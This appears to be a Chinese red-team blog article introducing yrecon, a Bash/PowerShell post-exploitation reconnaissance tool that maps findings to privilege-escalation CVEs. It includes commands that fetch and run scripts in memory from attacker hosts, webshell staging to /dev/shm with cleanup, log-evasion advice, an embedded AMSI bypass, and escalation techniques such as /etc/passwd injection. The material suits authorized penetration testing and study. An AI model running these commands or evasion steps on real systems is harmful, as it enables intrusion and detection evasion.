文章总结: 本文介绍红队信息收集工具yrecon,其设计围绕提权路径决定收集内容,采用单文件架构支持内存执行,覆盖Linux与Windows双平台,共14个Linux模块和10个Windows模块,包含系统信息、用户权限、SUID、CVE探针等检测项,并内置CVE版本匹配算法辅助判断可利用漏洞,适用于授权红队评估中的本地侦察阶段。 综合评分: 85 文章分类: 红队,渗透测试,内网渗透,漏洞分析,安全工具
红队利器 yrecon:一行命令,14个模块,自动匹配提权CVE
原创
moresuo moresuo
Hack分享吧
2026年9月22日 09:50 湖南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 免费加入 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |
现在只对常读和星标公众号才展示大图推送,建议大家把“Hack分享吧”设为星标,否则可能看不到了!
yrecon 深度剖析:把信息收集做到”提权导向”的实战工具
项目地址:https://github.com/moresuo/yrecon
定位:内网信息收集 + 提权 CVE 探针
语言:Bash / PowerShell
适用场景:授权安全研究 / 红队评估 — webshell / 低权限 shell 后的本地侦察阶段
一、为什么需要 yrecon?
在红队评估和渗透测试的实战中,拿到一个 webshell 或低权限 shell 只是第一步。真正的挑战在于:如何在最短时间内从低权限突破到 root / SYSTEM?
传统做法是手动跑一堆命令——uname -a、id、sudo -l、find / -perm -4000、whoami /priv……每次都要重复,容易遗漏关键信息,而且耗时。
yrecon 的设计哲学很明确:
提权路径决定收集什么。
它不是无脑堆命令的”信息收集脚本”,而是围绕权限提升这一核心目标,把每类信息的收集都映射到具体的提权路径上。拿到结果就能直接判断”能不能打、怎么打”。
PS C:\> chcp 65001 | Out-Null; [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $OutputEncoding = [System.Text.Encoding]::UTF8; $wc = New-Object System.Net.WebClient; $wc.Encoding = [System.Text.Encoding]::UTF8; iex $wc.DownloadString('http://192.168.1.110/yrecon/winrecon.txt')
二、工具组成与设计哲学
2.1 双平台对称架构
| 工具 | 语言 | 目标平台 | 文件大小 | 形态 |
| — | — | — | — | — |
| linrecon.sh | Bash(POSIX 兼容) | Linux | ~52KB | 单文件,支持 curl | bash 内存执行 |
| winrecon.ps1 | PowerShell 5.1+ | Windows | ~19KB | 单文件,UTF-8 BOM,支持 iex(iwr) 内存执行 |
两个工具功能逻辑对称,输出风格统一——复刻 YSCAN 的 GitHub Dark 调色板 + 图标体系。这意味着:
- 学习成本低:学会一个,另一个自然就会用
- 输出可比对:同一目标上 Linux/Windows 双跑,输出格式一致,方便横向对比
- 维护成本低:两个脚本同步迭代,CVE 覆盖清单保持一致
2.2 单文件哲学
yrecon 选择单文件设计而非模块化目录结构,这在实战中有明确优势:
- 内存执行:
curl | bash或iex(iwr)一行命令完成部署,不落盘 - 传输简单:一个 HTTP 请求就能拉到完整工具
- 无依赖:不依赖额外的配置文件或库(除了系统自带工具)
三、执行模式与实战场景
3.1 三种通用执行模式
| 模式 | 适用场景 | 特点 | 隐蔽性 |
| — | — | — | — |
| 本地执行 | 自有机器测试 | 最简单,直接跑 | 无要求 |
| 内存执行 | 目标能出网 | 不落盘,curl|bash / iex(iwr) | 高 |
| 落盘 + 重定向 | webshell 后(推荐) | 解决输出截断、执行超时 | 中 |
3.2 webshell 场景:yrecon 的核心战场
webshell 命令执行有两个硬约束:
- 响应长度截断:nginx/apache 的 buffer 有限,长输出会被截断
- 执行超时:php 的
max_execution_time等限制会导致脚本被 kill
yrecon 的解法是落盘 + 重定向到文件 + 分段读:
Linux(www-data 权限):
# 落盘到内存盘(更隐蔽)+ 重定向
curl http://x/linrecon.sh -o /dev/shm/.x.sh
bash /dev/shm/.x.sh -m cve > /dev/shm/.out.txt 2>&1
# 分段读 / 只看高危
sed -n '1,100p' /dev/shm/.out.txt
grep '\[!!\]' /dev/shm/.out.txt # 等价:红色 ● 标记
# 清理
rm -f /dev/shm/.x.sh /dev/shm/.out.txt
Windows(IIS_IUSRS 权限):
# 落盘到 Windows\Temp(通用可写)+ 重定向
powershell -c "(New-Object Net.WebClient).DownloadFile('http://x/winrecon.ps1','C:\Windows\Temp\x.ps1')"
powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\x.ps1 > C:\Windows\Temp\o.txt 2>&1
# 读结果
findstr /C:"●" C:\Windows\Temp\o.txt
del C:\Windows\Temp\x.ps1 C:\Windows\Temp\o.txt
分模块跑解决超时:software(Win)/ suid(Linux)扫描慢,单独跑;先跑 cve 快速看可打洞。
四、模块体系:14 个 Linux 模块 + 10 个 Windows 模块
4.1 linrecon.sh 模块详解
| 模块 | 检测命令 | 检测原理 | 对应提权路径 |
| — | — | — | — |
| sysinfo | uname / /etc/os-release / /proc/1/cgroup | 内核版本(喂给 CVE 探针)+ 容器环境初判 | 内核漏洞利用 |
| userpriv | id / sudo -n -l / [ -w /etc/passwd ] | 当前权限位、sudo 滥用面、关键文件可写性 | sudo 滥用 / passwd 注入 |
| suid | find / -perm -4000/-2000 | SUID/SGID 文件,basename 对照 GTFOBins 列表自动标记 | SUID 滥用 |
| caps | getcap -r / 或 /proc/*/status CapEff | capabilities 位,cap_setuid 等高危位高亮 | Capabilities 滥用 |
| cron | /etc/crontab / /etc/cron.* | 定时任务可写性 + 内容 | Cron 劫持 |
| services | ps / ss -tulpn / /dev/tcp 探测 | root 进程 + 监听端口 + 内部服务 | 内部服务未授权 |
| fs | [ -w ] / find / /etc/exports | 可写关键路径、PATH 劫持面、NFS 配置 | PATH 劫持 / NFS |
| credz | find id_rsa / grep password | SSH 私钥、配置文件明文密码 | 凭证泄露横向 |
| network | ip / route / /etc/resolv.conf | 接口/路由/ARP/DNS,域信息 | 横向移动铺垫 |
| container | /.dockerenv / /proc/1/cgroup / CapEff | 容器逃逸面:Docker socket、特权容器 | 容器逃逸 |
| cve | uname -r + 版本区间匹配 | 内核/用户态/容器逃逸 CVE 三类探针 | CVE 利用 |
| suggest | 综合以上结果 | 汇总提权建议 | — |
新增增强项(v2.0):
- sysinfo 扩展了
sysctl安全配置检测:ASLR 状态、ptrace_scope、BPF 限制、KASLR(kptr_restrict)、dmesg_restrict、user.max_user_namespaces、mmap_min_addr 等——每一项都直接影响 exploit 可用性 - sysinfo 新增内核启动参数(
/proc/cmdline)检查,能发现启动参数中泄露的凭据或安全敏感项 - sysinfo 新增 LSM 状态检测(SELinux / AppArmor),判断 MAC 策略是否影响提权路径
- sysinfo 新增
lsmod检查,标记与 exploit 相关的内核模块(如nf_tables、overlay、vsock)
4.2 winrecon.ps1 模块详解
| 模块 | 检测 API/命令 | 检测原理 | 对应提权路径 |
| — | — | — | — |
| sysinfo | Get-CimInstance Win32_OperatingSystem | OS/Build(喂给 CVE 探针)/补丁数 | 补丁缺失 CVE |
| userpriv | whoami /all | 特权令牌扫描:SeImpersonate->Potato、SeDebug->注入等 | Potato 系列 / 进程注入 |
| services | Get-CimInstance Win32_Service + 写测试 | 未引用路径 + 可写服务目录(实测写入) | 服务路径劫持 |
| registry | Get-ItemProperty 各键 | AlwaysInstallElevated、AutoLogon 凭证、Run 自启 | MSI 提权 / 凭证提取 |
| credz | cmdkey / [IO.File]::ReadAllBytes(SAM) / vssadmin | cmdkey 缓存、SAM 可读、卷影副本、unattended 文件 | 离线哈希破解 |
| software | Get-CimInstance Win32_Product 或注册表卸载键 | 已装软件版本,标记已知漏洞软件 | 第三方软件漏洞 |
| av | SecurityCenter2 / Get-MpComputerStatus / Get-MpPreference | AV 识别、Defender 实时保护状态、排除路径 | 绕过 AV/EDR |
| network | ipconfig / Get-NetTCPConnection / Win32_ComputerSystem | 接口/端口/域成员 | 域内攻击(Kerberoasting/NoPAC/DCSync) |
| cve | Build + 补丁日期 + 特权组合 | Potato 推荐、PrintNightmare、HiveNightmare、NoPAC、win32k | CVE 利用 |
| suggest | 综合以上结果 | 汇总提权建议 | — |
五、CVE 探针:从版本号到可利用性判断
5.1 版本解析与比较算法
Linux:uname -r 取内核版本(如 5.15.0-91-generic),grep -oE '^[0-9]+(\.[0-9]+)*' 提取纯版本部分 5.15.0。
版本比较使用 Bash 函数 ver_lt():
ver_lt() {
local a="$(_ver "$1")" b="$(_ver "$2")"
[ -z "$a" ] || [ -z "$b" ] && return 1
[ "$(printf '%s\n%s\n' "$a" "$b" | sort -V | head -1)" = "$a" ] && [ "$a" != "$b" ]
}
原理:sort -V 做版本排序(按点分段数值比较),最小者排第一。若 a 是最小且 a≠b,则 a < b。
Windows:Build 号是整数,直接数值比较($build -lt 14393);版本号用 [System.Version]。
5.2 范围匹配逻辑
每个 CVE 定义受影响版本区间 [min, max),组合 !ver_lt(min)(不低于下限)与 ver_lt(max)(低于上限)判断:
# Dirty Pipe: 5.8 <= k < 5.16.11 (含 5.15.x / 5.10.x 回溯)
if ! ver_lt "$kv" 5.8 && (ver_lt "$kv" 5.16.11 || ...); then
high "CVE-2022-0847 Dirty Pipe"
fi
5.3 用户态 CVE 检测
不依赖内核版本,检测工具存在性与版本:
pkexec存在 → PwnKit(CVE-2021-4034,polkit 几乎全版本)sudo --version< 1.9.5p2 → Baron Samedit(CVE-2021-3156,参数转义堆溢出)
5.4 CVE 覆盖清单
Linux 内核 LPE
| CVE | 名称 | 影响版本 | 条件 | 来源 |
| — | — | — | — | — |
| CVE-2016-5195 | Dirty COW | 2.6.22-4.8.3 | 竞态写 | 经典 |
| CVE-2019-13272 | ptrace | <5.1.17 | pkexec | 经典 |
| CVE-2021-22555 | netfilter | <5.12 | — | 经典 |
| CVE-2022-0847 | Dirty Pipe | 5.8-5.16.10 | 覆写只读文件 | 经典 |
| CVE-2023-0386 | OverlayFS | <6.2 | userns | 经典 |
| CVE-2024-1086 | nf_tables UAF | 5.14-6.6 | userns | 经典 |
| CVE-2024-0646 | nft_verdict | <6.6.8 | x86_64 | 经典 |
| CVE-2026-31431 | Copy Fail | 4.14-6.19.x(多分支) | AF_ALG 自检通过 | poc-lab |
| CVE-2026-46331 | act_pedit | 5.18-7.1-rc7 | userns+CAP_NET_ADMIN+act_pedit | poc-lab |
| CVE-2026-31635 | DirtyDecrypt | 6.16.1-6.18.23 等 | CONFIG_RXGK(Fedora/Arch/openSUSE) | poc-lab |
| CVE-2026-43284 | Dirty Frag (ESP) | >=4.11 | userns+CAP_NET_ADMIN+esp4 | poc-lab |
| CVE-2026-53359 | Januscape | 2.6.36-6.18 | KVM 宿主 / /dev/kvm 0666 | poc-lab |
| CVE-2026-31429 | Slab Cross-Cache | 6.3-7.0-rc | BPF_PROG_LOAD(多需 root) | poc-lab |
Linux 用户态 LPE
| CVE | 名称 | 条件 | | — | — | — | | CVE-2021-4034 | PwnKit | pkexec 几乎全版本 | | CVE-2021-3156 | Baron Samedit | sudo <1.9.5p2 | | CVE-2019-14287 | sudo -u#-1 | sudo <1.8.28 |
Linux 信息泄露(可间接提权)
| CVE | 名称 | 说明 | 来源 |
| — | — | — | — |
| CVE-2026-46333 | pidfd_getfd FD 盗读 | 读 /etc/shadow/SSH host key,离线破解 | poc-lab |
Windows 提权
- SeImpersonate → Potato 系列(JuicyPotato / RoguePotato / PrintSpoofer / GodPotato)
- PrintNightmare(CVE-2021-1675)、HiveNightmare(CVE-2021-36934)、NoPAC、win32k 系列
- AlwaysInstallElevated、未引用服务路径、可写服务、AutoLogon、WSUS
重点项 — Copy Fail(CVE-2026-31431):版本矩阵最完整、条件最通用(
CONFIG_CRYPTO_USER_API_AEAD几乎全发行版默认开启),脚本内置 AF_ALG 自检(python3 -c "import socket; socket.socket(38,5,0)")确认可利用性。
5.5 已知局限与诚实标注
yrecon 在 CVE 探针上有一个非常重要的设计原则:诚实标注局限性。
- 发行版回溯补丁误报:RHEL/Ubuntu 常把补丁回溯到老版本号(如 Ubuntu 5.15.0-91 已含 Dirty Pipe 修复,但版本号仍在受影响区间)。脚本标”可能存在”,实战需 PoC 实测。
- 粗筛性质:Build 号只判大版本区间,不精确到具体 KB。Windows 探针用”最近补丁日期”辅助,但仍粗。
- CVE 覆盖有限:脚本只内置高频通用 CVE,新 CVE 需手工补充。
这种诚实标注避免了”探针说有就一定有”的误判,提醒使用者验证而非盲信。
六、提权路径映射:从信息到行动
yrecon 最有价值的设计是将每类收集信息直接映射到提权路径。下面是完整的映射关系。
6.1 Linux 提权路径 → 收集项
| 提权路径 | 收集项 | 原理 |
| — | — | — |
| 内核漏洞 | uname -r 内核版本 | 内核 CVE 有版本区间,匹配后用对应 PoC(如 Dirty Pipe 5.8-5.16.10) |
| SUID 滥用 | find / -perm -4000 | SUID 位使执行者获得文件 owner 权限;若 owner=root 且二进制可滥用(如 nmap/vim/find),对照 GTFOBins 提权 |
| sudo 配置缺陷 | sudo -n -l | sudoers 规则若允许无密码执行某命令,且该命令可逃逸(如 sudo find 可 -exec),直接提权 |
| Capabilities | getcap -r / | cap_setuid 可直接置 uid=0;cap_dac_override 绕文件权限;比 SUID 更细粒度,常被忽视 |
| 定时任务可写 | /etc/crontab 等 | root 执行的 cron 脚本若可写,写入反弹 shell 即获 root |
| 可写 /etc/passwd | [ -w /etc/passwd ] | passwd 可写则可注入 user::0:0::/root:/bin/bash 直接造 root 账户 |
| PATH 劫持 | $PATH 可写目录 | root 调用无绝对路径命令时,若 PATH 前段可写,放入同名恶意脚本被执行 |
| NFS no_root_squash | /etc/exports | 该选项让 NFS 客户端以 root 身份写文件,本地挂载后可写 setuid 程序 |
| Docker 组成员 | id 含 docker 组 | docker 组用户可 docker run -v /:/mnt 挂载宿主根目录,直接 chroot 提权 |
| 凭证泄露 | .bash_history 、配置文件、id_rsa | 管理员历史命令/配置明文密码/SSH 私钥 → 横向到 root |
6.2 Windows 提权路径 → 收集项
| 提权路径 | 收集项 | 原理 |
| — | — | — |
| 补丁缺失 | Get-HotFix + BuildNumber | 按 Build 号筛 + 补丁日期判断,缺补丁对应 CVE(PrintNightmare/HiveNightmare) |
| SeImpersonate | whoami /priv | 服务账户常有此权限;Potato 系列通过骗取 SYSTEM 进程连接触发 NTLM 认证,拿到 SYSTEM 令牌并 Impersonate 提权 |
| SeDebug | whoami /priv | 可打开任意进程(含 SYSTEM),CreateRemoteThread 注入 winlogon.exe 提权 |
| 未引用服务路径 | Win32_Service.PathName | 路径含空格无引号时,Windows 逐级尝试解析(如 C:\Program Files\svc → C:\Program.exe),上游目录可写则劫持 |
| 可写服务目录 | 实测写测试文件 | 服务二进制所在目录可写 → 替换 exe → 启动服务获 SYSTEM |
| AlwaysInstallElevated | 注册表双键值 | 该策略=1 时,msi 安装以 SYSTEM 身份执行,任意用户 msiexec /i evil.msi 即提权 |
| AutoLogon 凭证 | Winlogon 注册表 | AutoAdminLogon=1 时,DefaultPassword 明文存于注册表 |
| SAM 可读 | 实测 ReadAllBytes(SAM) | SAM/SYSTEM 可读 + 卷影副本存在 → 离线拿本地哈希(HiveNightmare CVE-2021-36934) |
| cmdkey 缓存 | cmdkey /list | 缓存凭据可用 runas /savecred 以其他用户身份执行 |
| WSUS HTTP | WindowsUpdate 注册表 | WSUS 走 HTTP 且 UseWUServer=1 → 中间人投递恶意更新(PyWSUS) |
| Defender 排除路径 | Get-MpPreference | 排除目录可放 payload 绕检测 |
七、输出体系:YSCAN 风格的可视化设计
7.1 配色方案
yrecon 复刻了 YSCAN 的 GitHub Dark 调色板,使用 ANSI TrueColor 精确还原:
| 颜色 | Hex | ANSI 转义码 | 语义 |
| — | — | — | — |
| 粉 | #f778ba | \033[1;38;2;247;120;186m | 模块标题 ✦ / 完成 ✓ |
| 绿 | #3fb950 | \033[1;38;2;63;185;80m | 普通发现 ● |
| 红 | #f85149 | \033[1;38;2;248;81;73m | 高危 ● |
| 橙 | #d2991d | \033[1;38;2;210;153;29m | 警告 ⚠ |
| 蓝 | #58a6ff | \033[1;38;2;88;166;255m | 信息 -> |
| 紫 | #a371f7 | \033[1;38;2;163;113;247m | 子标题 ▸ / 高亮值 |
| 灰 | #8b949e | \033[38;2;139;148;158m | 次要信息 └─ |
7.2 图标语义体系
| 图标 | 颜色 | 语义 | 优先级 |
| — | — | — | — |
| ✦ | 粉 | 模块标题 | — |
| -> | 蓝 | 信息项 / key-value 引导 | — |
| ● | 绿 | 普通发现(可关注) | 低 |
| ● | 红 | 高危提权向量 (优先利用) | 最高 |
| ⚠ | 橙 | 警告(需评估) | 中 |
| ▸ | 紫 | 子标题/分组 | — |
| ✓ | 粉 | 完成 | — |
| └─ | 灰 | 缩进的补充说明(PoC/解释) | — |
7.3 输出示例
✦ 提权 CVE 探针 <- 模块标题(粉)
-> 内核版本 : 5.15.0 <- key-value(蓝-> / 灰key / 紫值)
▸ 内核级 CVE <- 子标题(紫)
● CVE-2022-0847 Dirty Pipe <- 高危(红●)
PoC: 覆写 /etc/passwd <- 补充(灰)
✓ recon 完成 <- 完成(粉)
优先级规则:红 ● > 橙 ⚠ > 绿 ●。实战先打红项。
终端不支持 TrueColor 时降级为默认色,图标仍可辨识。
八、安全配置深度检测(v2.0 增强)
linrecon v2.0 的 sysinfo 模块新增了内核安全配置深度检测,这是同类工具中少见的:
8.1 sysctl 安全参数
| 参数 | 检测内容 | 提权影响 |
| — | — | — |
| kernel.yama.ptrace_scope | ptrace 限制 | =0 时任意进程可被注入,exploit 限制小 |
| kernel.unprivileged_bpf_disabled | BPF 权限 | =0 时 BPF exploit 可用(CVE-2020-8835 等) |
| kernel.kptr_restrict | 内核地址泄露 | ≠0 时 KASLR 绕过受限,需信息泄露配合 |
| kernel.dmesg_restrict | dmesg 权限 | =1 时内核地址泄露受限 |
| kernel.randomize_va_space | ASLR | =0 时所有 exploit 可稳定利用 |
| user.max_user_namespaces | 用户命名空间 | =0 时依赖 user ns 的 CVE 不可用 |
| vm.mmap_min_addr | NULL 页映射 | >65536 时 NULL page 映射受限 |
| fs.protected_symlinks/hardlinks | 符号链接保护 | 影响符号链接攻击面 |
| dev.tty.legacy_tiocsti | TTY 注入 | 可用于键盘输入注入 |
8.2 LSM 与启动参数
- SELinux/AppArmor:检测 MAC 策略是否影响提权路径
/proc/cmdline:检查启动参数中的安全敏感项(selinux=0、init=/bin/sh)和可能的凭据泄露
8.3 内核模块
检查 lsmod 输出,标记与 exploit 相关的内核模块(如 nf_tables 对应 CVE-2024-1086、overlay 对应 OverlayFS CVE、vsock 对应 vsock exploit)。
九、OPSEC:操作安全注意事项
yrecon 在 README 中明确列出了 OPSEC 注意事项,这在同类工具中非常少见且极为重要:
9.1 落盘位置选择
| 平台 | 推荐路径 | 原因 |
| — | — | — |
| Linux | /dev/shm | 内存盘,不落磁盘取证 |
| Windows | C:\Windows\Temp | 通用可写目录 |
命名应伪装(如 .x.sh),避免明显的工具名。
9.2 输出截断处理
webshell 响应有长度限制,务必重定向到文件再分段读,勿直接回灌 HTTP 响应。
9.3 执行超时
software/suid 慢,分模块跑;先 cve 快速定方向。
9.4 日志痕迹
| 平台 | 主要日志 |
| — | — |
| Linux | ~/.bash_history (www-data 通常不写)、webshell access log |
| Windows | PowerShell Script Block Logging(4104 事件)、Sysmon、Windows PowerShell 事件日志 |
9.5 PowerShell 特殊处理
- 编码:
winrecon.ps1必须保持 UTF-8 with BOM(PS 5.1 默认按 GBK 读无 BOM 文件,中文会报语法错)。重新分发勿转码。 - AMSI bypass:winrecon 头部内嵌反射 AMSI bypass(老版够用,新版 EDR 需 patch)。
- CLM 检测:若检测到约束语言模式(CLM),
.NET调用受限,部分模块降级,需先绕 CLM。 - AV/EDR:winrecon 含提权探测特征,本机 Defender 可能拦。测试时加排除路径或注释 AMSI bypass 段。
十、快速上手
10.1 Linux
# 全量收集 + CVE 探针
bash linrecon.sh
# 指定模块(逗号或空格分隔)
bash linrecon.sh -m cve
bash linrecon.sh -m sysinfo,userpriv,cve
# 排除指定模块
bash linrecon.sh -M cve,fs
# 安静模式(纯文本无颜色,适合管道处理)
bash linrecon.sh -q
# 输出到文件
bash linrecon.sh -o /tmp/recon.out
# 内存执行(需出网)
curl http://attacker/linrecon.sh | bash
# 帮助
bash linrecon.sh -h
10.2 Windows
# 本地执行(绕过执行策略)
powershell -ExecutionPolicy Bypass -File winrecon.ps1
# 内存执行(需出网)
iex(iwr http://attacker/winrecon.ps1 -UseBasicParsing)
# 指定模块(dot-source + Invoke-All)
. .\winrecon.ps1; Invoke-All -Modules cve
. .\winrecon.ps1; Invoke-All -Modules sysinfo,userpriv,cve
十一、扩展:自定义 CVE 和输出风格
11.1 添加新 Linux CVE
在 m_cve() 内按版本区间仿写:
if ver_lt "$kv_" 6.X && ! ver_lt "$kv_" 6.Y; then
high "CVE-XXXX-YYYY 名称 (范围) - 说明"
indent "PoC: ..."
fi
11.2 添加新 Windows CVE
在 Invoke-CVE 内按 Build 仿写:
if ($build -ge XXXXX -and $build -lt YYYYY) {
W-Warn "CVE-XXXX-YYYY 说明"
}
11.3 修改输出风格
颜色变量集中在文件顶部(C_* / $script:C_*),改 TrueColor RGB 即可换主题。图标在输出函数(ok/high/warnx / W-Ok/W-High/W-Warn)里。
十二、与同类工具的对比
| 特性 | yrecon | LinPEAS | WinPEAS | linux-exploit-suggester | | — | — | — | — | — | | 平台覆盖 | Linux + Windows | 仅 Linux | 仅 Windows | 仅 Linux | | CVE 探针 | 内核 + 用户态 + 2026 新 CVE | 无 | 无 | 内核 | | 提权路径映射 | 有(每条信息映射到提权路径) | 部分 | 部分 | 无 | | 内存执行 | 支持 | 需改造 | 需改造 | 支持 | | 输出风格 | YSCAN GitHub Dark | 彩色 | 彩色 | 纯文本 | | 单文件 | 是 | 是 | 是 | 是 | | sysctl 安全配置 | 详细检测 | 有 | — | 无 | | 容器逃逸检测 | 有 | 部分 | 无 | 无 | | OPSEC 指导 | 有 | 无 | 无 | 无 | | 2026 新 CVE | 6 个 | 无 | 无 | 无 | | 模块化选择 | 14 个模块可选 | 无 | 无 | 无 |
yrecon 的核心差异化在于:
- 双平台对称:一套工具覆盖 Linux + Windows,学习成本低
- 提权导向:不是无脑收集,而是每条信息都映射到具体提权路径
- 2026 新 CVE 覆盖:包含 poc-lab 最新 CVE(Copy Fail、act_pedit、DirtyDecrypt 等)
- 模块化执行:14 个模块可自由组合,webshell 场景下分模块跑避免超时
- OPSEC 意识:内置 AMSI bypass、CLM 检测、落盘位置建议
十三、文件清单
yrecon/
├── linrecon.sh Linux 信息收集 + CVE 探针(Bash, ~52KB)
├── winrecon.ps1 Windows 信息收集 + CVE 探针(PowerShell, ~19KB, UTF-8 BOM)
└── README.md 项目文档
十四、实战使用建议
14.1 标准流程
- 拿到 webshell/低权限 shell 后,先跑
cve模块快速定方向 - 根据系统类型选择全量收集或分模块跑
- 优先关注输出中的红色
●标记(高危提权向量) - 对 CVE 探针结果,验证发行版是否已回溯补丁
- 利用提权路径映射表,找到具体可利用的路径
14.2 webshell 场景最佳实践
- 落盘到内存盘(Linux:
/dev/shm,Windows:C:\Windows\Temp) - 重定向输出到文件,分段读取
- 先跑快的模块(
cve、sysinfo),慢的(suid、software)单独跑 - 用完清理:删除脚本和输出文件
14.3 CVE 验证
yrecon 的 CVE 探针是粗筛,不是精确判断。对于探针报告的可能 CVE:
- 查发行版 changelog 确认是否已回溯补丁
- 用对应 PoC 实测(非生产环境)
- 结合 sysctl 安全配置判断 exploit 可用性(ASLR、userns、BPF 等)
免责声明
本工具集仅供授权安全研究与红队评估使用。在未取得书面授权的目标上使用本工具集中的任何功能均属违法。作者不对任何滥用行为承担责任。使用者需确保遵守当地法律法规,并承担相应责任。
知 识 星 球
星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S_3had0w,等你一起来学习…!
| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 限时免费 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |
| | | | — | — | | | |
往期推荐工具
红队必备:不进系统,扒光虚拟机所有密码
微信小程序捡洞神器:自动反编译+扫密钥
Everything 这两大新功能太牛了!
把AI大脑装进BurpSuite,自动挖洞来了!
高级WebShell管理与后渗透神器
263+上传漏洞检测与绕过工具
ProxyBridge (Proxifier替代工具)
基佬的”自动化”渗透测试扫描工具
最好用的下一代目录爆破工具
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Hack分享吧 moresuo moresuo《红队利器 yrecon:一行命令,14个模块,自动匹配提权CVE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论